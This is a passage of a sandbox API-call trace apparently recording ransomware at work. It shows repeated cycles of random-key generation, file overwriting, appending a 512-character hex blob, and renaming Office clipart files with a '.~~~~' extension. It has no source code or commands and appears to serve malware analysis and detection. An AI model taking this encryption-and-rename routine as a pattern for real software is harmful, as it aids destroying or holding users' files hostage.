	[0091.160] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.161] CloseHandle (hObject=0x124) returned 1
	[0091.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.161] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.~~~~")) returned 1
	[0091.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.162] GetLastError () returned 0x0
	[0091.162] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.163] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.163] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.163] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21115344795) returned 1
	[0091.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa01df570, dwHighDateTime=0x1d60e1e)) 
	[0091.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382370
	[0091.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382370 | out: hHeap=0x300000) returned 1
	[0091.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383cf8
	[0091.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.164] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.164] GetLastError () returned 0x0
	[0091.164] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.164] GetLastError () returned 0x0
	[0091.166] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffc990, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.166] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x3670, lpOverlapped=0x0) returned 1
	[0091.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.166] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.166] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.167] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.167] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.167] CloseHandle (hObject=0x124) returned 1
	[0091.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.167] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.~~~~")) returned 1
	[0091.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.170] GetLastError () returned 0x0
	[0091.181] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.182] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.182] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.182] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21117466954) returned 1
	[0091.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa02056d0, dwHighDateTime=0x1d60e1e)) 
	[0091.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3823a8
	[0091.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3823a8 | out: hHeap=0x300000) returned 1
	[0091.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382a90
	[0091.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.185] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.185] GetLastError () returned 0x0
	[0091.185] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.185] GetLastError () returned 0x0
	[0091.187] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffe4e6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.187] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1b1a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x1b1a, lpOverlapped=0x0) returned 1
	[0091.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.188] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.188] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.188] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.188] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.188] CloseHandle (hObject=0x134) returned 1
	[0091.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.188] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.~~~~")) returned 1
	[0091.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.189] GetLastError () returned 0x0
	[0091.189] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.190] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.190] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.190] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21117994768) returned 1
	[0091.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa02056d0, dwHighDateTime=0x1d60e1e)) 
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3823e0
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3823e0 | out: hHeap=0x300000) returned 1
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383e28
	[0091.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.190] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.191] GetLastError () returned 0x0
	[0091.191] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.191] GetLastError () returned 0x0
	[0091.192] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffcfbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.192] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x3044, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x3044, lpOverlapped=0x0) returned 1
	[0091.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.193] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.193] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.193] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.193] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.193] CloseHandle (hObject=0x134) returned 1
	[0091.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.193] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.~~~~")) returned 1
	[0091.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.194] GetLastError () returned 0x0
	[0091.195] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.195] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.195] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.196] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21118574859) returned 1
	[0091.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa022b830, dwHighDateTime=0x1d60e1e)) 
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382418
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382418 | out: hHeap=0x300000) returned 1
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383ec0
	[0091.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.196] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.196] GetLastError () returned 0x0
	[0091.196] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.196] GetLastError () returned 0x0
	[0091.198] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffe584, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.198] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1a7c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x1a7c, lpOverlapped=0x0) returned 1
	[0091.198] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.198] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.199] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.199] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.199] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.199] CloseHandle (hObject=0x134) returned 1
	[0091.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.199] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.~~~~")) returned 1
	[0091.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0091.199] GetLastError () returned 0x0
	[0091.200] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.200] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.201] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0091.201] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21119078570) returned 1
	[0091.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa022b830, dwHighDateTime=0x1d60e1e)) 
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382450
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382450 | out: hHeap=0x300000) returned 1
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.201] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x383f58
	[0091.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.201] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.201] GetLastError () returned 0x0
	[0091.201] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.201] GetLastError () returned 0x0
	[0091.203] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff718, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.204] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x8e8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x8e8, lpOverlapped=0x0) returned 1
	[0091.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.204] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.204] WriteFile (in: hFile=0x134, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.204] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
